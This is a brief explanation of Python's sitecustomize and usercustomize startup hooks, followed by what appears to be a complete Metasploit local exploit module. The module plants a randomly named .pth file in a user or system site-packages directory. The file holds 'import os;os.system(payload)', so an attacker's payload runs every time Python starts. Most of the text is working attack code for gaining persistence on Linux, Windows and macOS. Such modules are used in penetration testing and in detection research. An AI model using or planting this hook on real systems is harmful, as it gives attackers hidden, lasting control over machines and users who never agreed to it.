Python site-specific hook persistence allows custom code to run automatically Python site-specific hook persistence allows custom code to run automatically every time the interpreter starts, affecting all subsequent Python executions on that system or user profile.
This is primarily achieved via the `site` module, which imports `sitecustomize.py` and `usercustomize.py`.
* `sitecustomize.py` (found in `site-packages`) executes system-wide.
* `usercustomize.py` (in a user's `site-packages`) is user-specific.
These are standard Python scripts that run early in the startup process. They can modify `sys.path`, inject `sys.meta_path` finders, set `sys.displayhook` or `sys.excepthook`, or perform any other setup.
Essentially, they allow persistent, global modifications to Python's behavior without altering core Python files or requiring changes in every script. Use with caution, as misconfigurations can have widespread impact.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
include Msf::Post::Linux::Priv
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Python Site-Specific Hook Persistence',
'Description' => %q{
This module leverages Python's startup mechanism, where some files can be automically processed during the initialization of the Python interpreter. One of those files are startup hooks (site-specific, dist-packages). If these files are present in site-specific or dist-packages directories, any lines beginning with import will be executed automatically. This creates a persistence mechanism, if an attacker has established access to target machine with sufficient permissions.
},
'License' => MSF_LICENSE,
'Author' => [
'msutovsky-r7', # msf module
],
'Platform' => ['linux', 'windows', 'osx'],
'Arch' => [ ARCH_CMD ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Targets' => [[ 'Auto', {} ]],
'References' => [
[ 'URL', 'https://docs.python.org/3/library/site.html'],
['ATT&CK', Mitre::Attack::Technique::T1546_018_PYTHON_STARTUP_HOOKS],
],
'DisclosureDate' => '2012-09-29',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS]
}
)
)
register_options([
OptString.new('PYTHON_HOOK_PATH', [false, 'The path to Python site-specific hook directory']),
OptEnum.new('EXECUTION_TARGET', [true, 'Selects if persistence is installed under current user or for all users', 'USER', ['USER', 'SYSTEM']])
])
end
def get_hooks_path
unless datastore['PYTHON_HOOK_PATH'].blank?
@hooks_path = datastore['PYTHON_HOOK_PATH']
return
end
case session.platform
when 'windows', 'win'
case datastore['EXECUTION_TARGET']
when 'USER'
@hooks_path = expand_path("%USERPROFILE%/AppData/Local/Programs/Python/Python#{@python_version.sub('.', '')}/Lib/site-packages/")
when 'SYSTEM'
@hooks_path = "C:/Python#{@python_version.sub('.', '')}/Lib/site-packages/"
end
when 'osx', 'linux'
case datastore['EXECUTION_TARGET']
when 'USER'
@hooks_path = expand_path("$HOME/.local/lib/python#{@python_version}/site-packages/")
when 'SYSTEM'
@hooks_path = "/usr/local/lib/python#{@python_version}/dist-packages/"
end
end
end
def get_python_version
case session.platform
when 'windows', 'win'
cmd_exec('cmd.exe /c python3.exe --version 2> nul || python2.exe --version 2> nul || python.exe --version 2> nul || py.exe --version 2> nul') =~ /(\d+.\d+).\d+/
when 'osx', 'linux'
cmd_exec('python3 --version 2>/dev/null || python2 --version 2> /dev/null || python --version 2>/dev/null') =~ /(\d+.\d+).\d+/
end
@python_version = Regexp.last_match(1)
end
def check
get_python_version
return CheckCode::Safe('Python not present on the system') unless @python_version
CheckCode::Vulnerable('Python is present on the system')
end
def install_persistence
get_python_version unless @python_version
print_status("Detected Python version #{@python_version}")
get_hooks_path unless @hooks_path
mkdir(@hooks_path) if session.platform == 'osx' || session.platform == 'linux'
fail_with(Failure::NotFound, "The hooks path #{@hooks_path} does not exists") unless directory?(@hooks_path)
# check if hooks path writable
begin
# windows only ps payloads have writable? so try that first
fail_with(Failure::NoAccess, "No permission to write to #{@hooks_path}") unless writable?(@hooks_path)
rescue RuntimeError
filename = @hooks_path + '\\' + Rex::Text.rand_text_alpha((rand(6..13)))
write_file(filename, '')
fail_with(Failure::NoAccess, "No permission to write to #{@hooks_path}") unless exists?(filename)
rm_f(filename)
end
print_status("Got path to site-specific hooks #{@hooks_path}")
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
fail_with(Failure::PayloadFailed, 'Failed to create malicious hook') unless write_file("#{@hooks_path}#{file_name}.pth", %(import os;os.system("#{payload.encoded}") ))
print_good("Successfully created malicious hook #{@hooks_path}#{file_name}.pth")
@clean_up_rc << "rm #{@hooks_path}#{file_name}.pth\n"
end
end